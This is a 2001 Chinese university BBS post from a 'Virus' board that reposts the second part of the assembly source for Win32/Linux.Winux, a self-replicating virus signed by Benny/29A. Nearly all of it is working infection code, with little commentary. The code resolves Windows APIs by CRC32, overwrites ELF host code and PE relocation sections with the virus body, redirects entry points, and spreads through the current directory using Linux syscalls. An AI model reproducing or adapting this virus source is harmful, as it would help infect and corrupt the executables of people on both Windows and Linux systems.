荔园在线

荔园之美,在春之萌芽,在夏之绽放,在秋之收获,在冬之沉淀

[回到开始] [上一篇][下一篇]


发信人: fast (平淡), 信区: Virus
标  题: Win32/Linux.Winux源码PART 2
发信站: 荔园晨风BBS站 (Thu Sep  6 20:04:20 2001), 转信

Win32/Linux.Winux源码PART 2
文章类型:病毒与杀毒 文章加入时间:2001年9月6日6:51
----------------------------------------------------------------------------
----
;INFECT LINUX PROGRAM (Win32 version)
wInfectELF  Proc
  mov  edi,ecx
  movzx  eax,word ptr [edi+12h]
  cmp  eax,3
  jne  close_file
  call  get_elf      ;get elf headerz
p_sectionz:
  mov  eax,[esi+0Ch]    ;virtual address
  add  eax,[esi+14h]    ;virtual size
  cmp  ebx,eax
  jb  got_section    ;does EP fit to this section?
  add  esi,edx      ;no, get to next record
  loop  p_sectionz    ;ECX-timez
  jmp  close_file    ;invalid ELF, quit
got_section:
  mov  eax,[ebp + Start - gdelta]
  mov  ecx,[esi+10h]
  add  ecx,edi
  cmp  [ecx],eax
  je  close_file    ;infection check
  mov  eax,[esi+14h]
  cmp  eax,virtual_end-Start
  jb  close_file    ;must be large enough
  push  PAGE_READWRITE
  push  MEM_RESERVE or MEM_COMMIT
  push  eax
  push  0
  call  [ebp + a_VirtualAlloc - gdelta]
  test  eax,eax      ;allocate buffer for host code
  je  close_file
  mov  [ebp + a_mem - gdelta],eax
  pushad
  mov  ecx,[esi+14h]
  mov  esi,[esi+10h]
  add  esi,edi
  push  esi
  xchg  eax,edi
  rep  movsb      ;copy host code to our buffer
  pop  edi
  lea  esi,[ebp + Start - gdelta]
  mov  ecx,virtual_end-Start
  rep  movsb      ;overwrite host code by virus body
  popad
  add  dword ptr [edi+18h],LinuxStart-Start
  mov  [ebp + sucElf - gdelta],edi
  jmp  close_file    ;set semaphore and quit
wInfectELF  EndP
;this procedure can retrieve API addresses
get_apis  Proc
  pushad
  @SEH_SetupFrame  <jmp q_gpa>
  lea  esi,[ebp + crc32s - gdelta]  ;get ptr to CRC32 values of APIs
  lea  edi,[ebp + a_apis - gdelta]  ;where to store API addresses
  push  crc32c     ;how many APIs do we need
  pop  ecx      ;in ECX...
g_apis:  push  eax      ;save K32 base
  call  get_api
  stosd        ;save address
  test  eax,eax
  pop  eax
  je  q_gpa      ;quit if not found
  add  esi,4      ;move to next CRC32 value
  loop  g_apis      ;search for API addresses in a loop
end_seh:@SEH_RemoveFrame    ;remove SEH frame
  popad        ;restore all registers
  ret        ;and quit from procedure
q_gpa:  @SEH_RemoveFrame
  popad
  pop  eax
  jmp  end_host    ;quit if error
get_apis  EndP
;this procedure can retrieve address of given API
get_api    Proc
  pushad        ;store all registers
  @SEH_SetupFrame  <jmp end_gpa>;setup SEH frame
  mov  edi,[eax.MZ_lfanew]  ;move to PE header
  add  edi,eax      ;...
  mov  ecx,[edi.NT_OptionalHeader.OH_DirectoryEntries.DE_Export.DD_Size]
  jecxz  end_gpa      ;quit if no exports
  mov  ebx,eax
  add  ebx,[edi.NT_OptionalHeader.OH_DirectoryEntries.DE_Export.DD_VirtualAd
dress]
  mov  edx,eax      ;get address of export table
  add  edx,[ebx.ED_AddressOfNames]  ;address of API names
  mov  ecx,[ebx.ED_NumberOfNames]  ;number of API names
  mov  edi,edx
  push  dword ptr [esi]    ;save CRC32 to stack
  mov  ebp,eax
  xor  eax,eax
APIname:push  eax
  mov  esi,ebp      ;get base
  add  esi,[edx+eax*4]    ;move to API name
  push  esi      ;save address
  @endsz        ;go to the end of string
  sub  esi,[esp]    ;get string size
  mov  edi,esi      ;move it to EDI
  pop  esi      ;restore address of API name
  call  CRC32      ;calculate CRC32 of API name
  cmp  eax,[esp+4]    ;is it right API?
  pop  eax
  je  g_name      ;yeah, we got it
  inc  eax ;increment counter
  loop  APIname      ;and search for next API name
  pop  eax
end_gpa:xor  eax, eax    ;set flag
ok_gpa:  @SEH_RemoveFrame    ;remove SEH frame
  mov  [esp.Pushad_eax],eax  ;save value to stack
  popad        ;restore all registers
ret        ;quit from procedure
g_name:  pop  edx
  mov  edx,ebp
  add  edx,[ebx.ED_AddressOfOrdinals]
  movzx  eax,word ptr [edx+eax*2]
  cmp  eax,[ebx.ED_NumberOfFunctions]
  jae  end_gpa-1
  mov  edx,ebp      ;base of K32
  add  edx,[ebx.ED_AddressOfFunctions]  ;address of API functions
  add  ebp,[edx+eax*4]    ;get API function address
  xchg  eax,ebp      ;we got address of API in EAX
  jmp  ok_gpa      ;quit
get_api    EndP
;this procedure can retrieve base address of K32
get_base  Proc
  push  ebp      ;store EBP
  call  gdlt      ;get delta offset
gdlt:  pop  ebp      ;to EBP
  mov  eax,12345678h    ;get lastly used address
last_kern = dword ptr $-4
  call  check_kern    ;is this address valid?
  jecxz  end_gb      ;yeah, we got the address
  call  gb_table    ;jump over the address table
  dd  077E00000h    ;NT/W2k
  dd  077E80000h    ;NT/W2k
  dd  077ED0000h    ;NT/W2k
  dd  077F00000h    ;NT/W2k
  dd  0BFF70000h    ;95/98
gb_table:
  pop  edi      ;get pointer to address table
  push  4      ;get number of items in the table
  pop  esi      ;to ESI
gbloop:  mov  eax,[edi+esi*4]    ;get item
  call  check_kern    ;is address valid?
  jecxz  end_gb      ;yeah, we got the valid address
  dec  esi      ;decrement ESI
  test  esi,esi      ;end of table?
  jne  gbloop      ;nope, try next item
  call  scan_kern    ;scan the address space for K32
end_gb:  pop  ebp      ;restore EBP
  ret        ;quit
check_kern:        ;check if K32 address is valid
  mov  ecx,eax      ;make ECX != 0
  pushad        ;store all registers
  @SEH_SetupFrame  <jmp end_ck>  ;setup SEH frame
  movzx  edx,word ptr [eax]  ;get two bytes
  add  edx,"ZM"    ;is it MZ header?
  jne  end_ck      ;nope
  mov   ebx,[eax.MZ_lfanew]  ;get pointer to PE header
  add  ebx,eax      ;normalize it
  mov  ebx,[ebx]    ;get four bytes
  add  ebx,"EP"    ;is it PE header?
  jne  end_ck      ;nope
  xor  ecx,ecx      ;we got K32 base address
  mov  [ebp + last_kern - gdlt],eax  ;save K32 base address
end_ck:  @SEH_RemoveFrame    ;remove SEH frame
  mov  [esp.Pushad_ecx],ecx  ;save ECX
  popad        ;restore all registers
  ret        ;if ECX == 0, address was found
SEH_hndlr macro        ;macro for SEH
@SEH_RemoveFrame    ;remove SEH frame
  popad        ;restore all registers
add  dword ptr [ebp + bAddr - gdlt],1000h  ;explore next page
jmp  bck      ;continue execution
endm
scan_kern:        ;scan address space for K32
bck: pushad        ;store all registers
  @SEH_SetupFrame  <SEH_hndlr>  ;setup SEH frame
  mov  eax,077000000h    ;starting/last address
bAddr = dword ptr $-4
  movzx  edx,word ptr [eax]  ;get two bytes
  add  edx,"ZM"    ;is it MZ header?
  jne  pg_flt      ;nope
  mov   edi,[eax.MZ_lfanew]  ;get pointer to PE header
  add  edi,eax      ;normalize it
  mov  ebx,[edi]    ;get four bytes
  add  ebx,"EP"    ;is it PE header?
  jne  pg_flt      ;nope
  mov  ebx,eax
  mov  esi,eax
  add  ebx,[edi.NT_OptionalHeader.OH_DirectoryEntries.DE_Export.DD_VirtualAd
dress]
  add  esi,[ebx.ED_Name]
  mov  esi,[esi]
  add  esi,'NREK'
  je  end_sk
pg_flt:  xor  ecx,ecx      ;we got K32 base address
  mov  [ecx],esi    ;generate PAGE FAULT! search again...
end_sk:  mov  [ebp + last_kern - gdlt],eax  ;save K32 base address
  @SEH_RemoveFrame    ;remove SEH frame
  mov  [esp.Pushad_eax],eax  ;save EAX - K32 base
  popad        ;restore all registers
  ret
get_base  EndP
CRC32:  push  ecx      ;procedure for calculating CRC32s
  push  edx      ;at run-time
  push  ebx
xor  ecx,ecx
dec  ecx
mov  edx,ecx
NextByteCRC:
xor  eax,eax
xor  ebx,ebx
lodsb
xor  al,cl
  mov  cl,ch
  mov  ch,dl
  mov  dl,dh
  mov  dh,8
NextBitCRC:
  shr  bx,1
  rcr  ax,1
  jnc  NoCRC
  xor  ax,08320h
  xor  bx,0EDB8h
NoCRC: dec  dh
  jnz  NextBitCRC
  xor  ecx,eax
  xor  edx,ebx
dec  edi
  jne  NextByteCRC
  not  edx
  not  ecx
  pop  ebx
  mov  eax,edx
  rol  eax,16
  mov  ax,cx
  pop  edx
  pop  ecx
  ret
signature    db  0,'[Win32/Linux.Winux] multi-platform virus by Benny/29A',0

          ;little signature of mine ;-)
;Viral entrypoint in Linux programz
LinuxStart:
  push  eax      ;reserve variable for return to host
  pushad
  mov  ebx,[esp.cPushad+8]  ;get command line
  call  lgdelta
lgdelta:pop  ebp      ;ebp=delta offset
  mov  ecx,end_end_lhost-end_lhost
  sub  esp,ecx
  mov  edi,esp
  lea  esi,[ebp + end_lhost - lgdelta]
  rep  movsb      ;copy virus to stack and jump there
  jmp  esp      ;(becoz we need to restore host code back)
end_lhost  Proc
  push  ebx
  push  125
  pop  eax
  lea  ebx,[ebp + Start - lgdelta]
  and  ebx,0FFFFF000h
  mov  ecx,3000h
  mov  edx,7
  int  80h      ;deprotect code section
  pop  ebx
  push  5
  pop  eax
  xor  ecx,ecx
  int  80h      ;open host file
  xchg  eax,ebx
  test  ebx,ebx
  jns  read_host
q_host:  xor  eax,eax
  inc  eax
  push  -1
  pop  ebx
  int  80h      ;quit if error
read_host:
  push  19
  pop  eax
  mov  ecx,12345678h
l_lseek = dword ptr $-4
  cdq
  int  80h      ;seek to saved host code (EOF - some bytez)
  test  eax,eax
  js  q_host
  pushad
  push  5
  pop  eax
  call  cur_dir
  db  '.',0
cur_dir:pop  ebx
  xor  ecx,ecx
  cdq
  int  80h      ;get current directory descriptor
  xchg  eax,ebx
inf_dir:push  89
  pop  eax
  lea  ecx,[ebp + WFD - lgdelta]
  int  80h      ;get file from directory
  xchg  eax,ecx
  jecxz  cldir      ;no more filez..
  add  eax,10
  call  lCheckInfect    ;try to infect it
  jmp  inf_dir      ;and look for another file
cldir:  push  6
  pop  eax
  int  80h      ;close directory descriptor
  popad
  push  3
  pop  eax
  lea  ecx,[ebp + Start - lgdelta]
  mov  edi,ecx
  mov  edx,virtual_end-Start
  int  80h      ;restore host code
  test  eax,eax
  js  q_host
  push  6
  pop  eax
  int  80h      ;close host file descriptor
  add  esp,end_end_lhost-end_lhost
  mov  [esp.cPushad],edi  ;write host entrypoint address
  popad
  ret        ;and jump to there
;INFECT FILE (Linux version)
lCheckInfect  Proc
  pushad
  xchg  eax,ebx
  push  5
  pop  eax
  cdq
  inc  edx
  inc  edx
  mov  ecx,edx
  int  80h      ;open file
  xchg  eax,ebx
  test  ebx,ebx
  jns  c_open
  popad
  ret
c_open:  mov  [ebp + f_handle - lgdelta],ebx
  push  19
  pop  eax
  xor  ecx,ecx
  int  80h      ;seek to EOF = get file size
  mov  [ebp + l_lseek - lgdelta],eax
          ;save it
  push  ecx
  push  ebx
  inc  ecx
  push  ecx
  inc  ecx
  inc  ecx
  push  ecx
  push  eax
  xor  ecx,ecx
  push  ecx
  mov  ebx,esp
  push  90
  pop  eax
  int  80h      ;map file to address space
  add  esp,24
  cmp  eax,0FFFFF000h
  jbe  c_mmap      ;quit if error
  jmp  c_file
c_mmap:  mov  ecx,eax
  mov  [ebp + fm_handle - lgdelta],eax
  pushad
  call  check_elf
  je  lInfectELF    ;is it Linux program (ELF)?
  add  ax,IMAGE_DOS_SIGNATURE
  jne  c_mfile
  call  check_pe
  jne  c_mfile      ;is it Win32 program (PE)?
  ;some important chex
  cmp  word ptr [esi.NT_FileHeader.FH_Machine],IMAGE_FILE_MACHINE_I386
  jne  c_mfile
  mov  ax,[esi.NT_FileHeader.FH_Characteristics]
  test  ax,IMAGE_FILE_EXECUTABLE_IMAGE
  je  c_mfile
  test  ax,IMAGE_FILE_DLL
  jne  c_mfile
  test  ax,IMAGE_FILE_SYSTEM
  jne  c_mfile
  mov  al,byte ptr [esi.NT_FileHeader.OH_Subsystem]
  test  al,IMAGE_SUBSYSTEM_NATIVE
  jne  c_mfile
  movzx  eax,word ptr [esi.NT_FileHeader.FH_NumberOfSections]
  dec  eax
  test  eax,eax
  je  c_mfile
  call  header&relocs    ;get PE headerz and check for relocs
  je  c_mfile      ;quit if no relocs
  mov  ebx,[edi.SH_VirtualAddress]
  cmp  eax,ebx
  jne  c_mfile
  cmp  [edi.SH_SizeOfRawData],virus_end-Start+500
  jb  c_mfile      ;is it large enough?
  pushad
  xor  eax,eax
  mov  edi,edx
  stosd
 stosd
  popad        ;clear relocs record
  call  set_alignz    ;align section variable
  mov  eax,[esi.NT_OptionalHeader.OH_AddressOfEntryPoint]
  mov  [esi.NT_OptionalHeader.OH_AddressOfEntryPoint],ebx
  mov  [ebp + original_ep - lgdelta],eax
  mov  eax,[esi.NT_OptionalHeader.OH_ImageBase]
  mov  [ebp + image_base - lgdelta],eax
          ;set some important variablez
  pushad
  mov  edi,[edi.SH_PointerToRawData]
  add  edi,[esp+24]
  lea  esi,[ebp + Start - lgdelta]
  mov  ecx,virus_end-Start
  rep  movsb      ;overwrite relocs by virus code
  popad
  or  dword ptr [edi.SH_Characteristics],IMAGE_SCN_MEM_WRITE
          ;set flag
c_mfile:popad
  push  91
  pop  eax
  int  80h      ;unmap file
c_file:  push  6
  pop  eax
  mov  ebx,[ebp + f_handle - lgdelta]
  int  80h      ;close file descriptor
  popad
  ret        ;and quit
lCheckInfect  EndP
;INFECT LINUX PROGRAM (Linux version)
lInfectELF  Proc
  mov  edi,ecx
  movzx  eax,word ptr [edi+12h]
  cmp  eax,3
  jne  c_mfile
  call  get_elf      ;get ELF headerz
p_sectionz2:
  mov  eax,[esi+0Ch]    ;virtual address
  add  eax,[esi+14h]    ;virtual size
  cmp  ebx,eax
  jb  got_section2    ;does EP fit to this section?
  add  esi,edx      ;no, get to next record
  loop  p_sectionz2    ;ECX-timez
  jmp  c_mfile      ;invalid ELF, quit
got_section2:
  mov  eax,[ebp + Start - lgdelta]
  mov  ecx,[esi+10h]
  add  ecx,edi
  cmp  [ecx],eax
  je  c_mfile      ;infection check
  mov  eax,[esi+14h]
  cmp  eax,virtual_end-Start
  jb  c_mfile      ;is it large enough?
  sub  esp,eax      ;create buffer in stack
  mov  [ebp + s_mem - lgdelta],eax
  add  dword ptr [edi+18h],LinuxStart-Start
  mov  ecx,[esi+14h]
  mov  esi,[esi+10h]
  add  esi,edi
  mov  eax,esi
  mov  edi,esp
  rep  movsb      ;copy original host code there
  mov  edi,eax
  lea  esi,[ebp + Start - lgdelta]
  mov  ecx,virtual_end-Start
  rep  movsb      ;overwrite host code by virus
  push  91
  pop  eax
  mov  ebx,[ebp + fm_handle - lgdelta]
  int  80h      ;unmap file
  push  19
  pop  eax
  mov  ebx,[ebp + f_handle - lgdelta]
  xor  ecx,ecx
  cdq
  inc  edx
  inc  edx
  int  80h      ;go to EOF
  push  4
  pop  eax
  mov  ecx,esp
  mov  edx,virtual_end-Start
  int  80h      ;write there original host code
  add  esp,[ebp + s_mem - lgdelta]
  popad        ;correct stack
  jmp  c_file      ;and close the file
lInfectELF  EndP
;check if it is Linux program (ELF)
check_elf  Proc
  mov  eax,[ecx]
  push  eax
  add  eax,-464C457Fh
  pop  eax
  ret
check_elf  EndP
;check if it is Win32 program (PE)
check_pe  Proc
  mov  eax,[ecx.MZ_lfanew]
  add  eax,ecx
  xchg  eax,esi
  mov  eax,[esi]
  add  eax,IMAGE_NT_SIGNATURE
  ret
check_pe  EndP
;get some variablez and check for relocationz in PE file
header&relocs  Proc
  imul  eax,eax,IMAGE_SIZEOF_SECTION_HEADER
  movzx  edx,word ptr [esi.NT_FileHeader.FH_SizeOfOptionalHeader]
  lea  edi,[eax+edx+IMAGE_SIZEOF_FILE_HEADER+4]
  add  edi,esi
  lea  edx,[esi.NT_OptionalHeader.OH_DataDirectory.DE_BaseReloc.DD_VirtualAd
dress]
  mov  eax,[edx]
  test  eax,eax
  ret
header&relocs  EndP
;align section variable
set_alignz  Proc
  mov  eax,virtual_end-Start
  cmp  eax,[edi.SH_VirtualSize]
  jb  o_vs
  mov  ecx,[esi.NT_OptionalHeader.OH_SectionAlignment]
  cdq
  div  ecx
  test  edx,edx
  je  o_al
  inc  eax
o_al:  mul  ecx
  mov  [edi.SH_VirtualSize],eax
o_vs:  ret
set_alignz  EndP
;get some important variablez from Linux program (ELF)
get_elf  Proc
  mov  ebx,[edi+18h]    ;EP
  mov  esi,[edi+20h]    ;section header
  add  esi,edi      ;normalize
  movzx  edx,word ptr [edi+2Eh]  ;size of section header
  movzx  ecx,word ptr [edi+30h]  ;number of sectionz
  ret
get_elf  EndP
end_end_lhost:
end_lhost  EndP
gpl      db  'This GNU program is covered by GPL.',0
          ;licence agreement ;-)
;CRC32s of used APIz
crc32s:      dd  0AE17EBEFh  ;FindFirstFileA
      dd  0AA700106h  ;FindNextFileA
      dd  0C200BE21h  ;FindClose
      dd  08C892DDFh  ;CreateFileA
      dd  096B2D96Ch  ;CreateFileMappingA
      dd  0797B49ECh  ;MapViewOfFile
      dd  094524B42h  ;UnmapViewOfFile
      dd  068624A9Dh  ;CloseHandle
      dd  04402890Eh  ;VirtualAlloc
      dd  02AAD1211h  ;VirtualFree
      dd  021777793h  ;WriteFile
      dd  085859D42h  ;SetFilePointer
      dd  0EBC6C18Bh  ;GetCurrentDirectoryA
      dd  0B2DBD7DCh  ;SetCurrentDirectoryA
      dd  07495B3ADh  ;OutputDebugStringA
crc32c = ($-crc32s)/4        ;number of APIz
virus_end:
;addresses of APIz
a_apis:
a_FindFirstFileA  dd  ?
a_FindNextFileA    dd  ?
a_FindClose    dd  ?
a_CreateFileA    dd  ?
a_CreateFileMappingA  dd  ?
a_MapViewOfFile    dd  ?
a_UnmapViewOfFile  dd  ?
a_CloseHandle    dd  ?
a_VirtualAlloc    dd  ?
a_VirtualFree    dd  ?
a_WriteFile    dd  ?
a_SetFilePointer  dd  ?
a_GetCurrentDirectoryA  dd  ?
a_SetCurrentDirectoryA  dd  ?
a_OutputDebugStringA  dd  ?
f_handle    dd  ?    ;file handle
fm_handle    dd  ?    ;file mapping handle
s_mem      dd  ?    ;size of host code (for stack manipulationz)
WFD    WIN32_FIND_DATA  ?    ;WIN32_FIND_DATA structure
prev_dir    db  MAX_PATH dup (?);original directory
virtual_end:
ends
End  Start          ;that's all folx, wasn't that kewl? ;-)
文章出处:第八军团
文章作者:小魔神

--
※ 来源:·荔园晨风BBS站 bbs.szu.edu.cn·[FROM: 192.168.0.127]


[回到开始] [上一篇][下一篇]

荔园在线首页 友情链接:深圳大学 深大招生 荔园晨风BBS S-Term软件 网络书店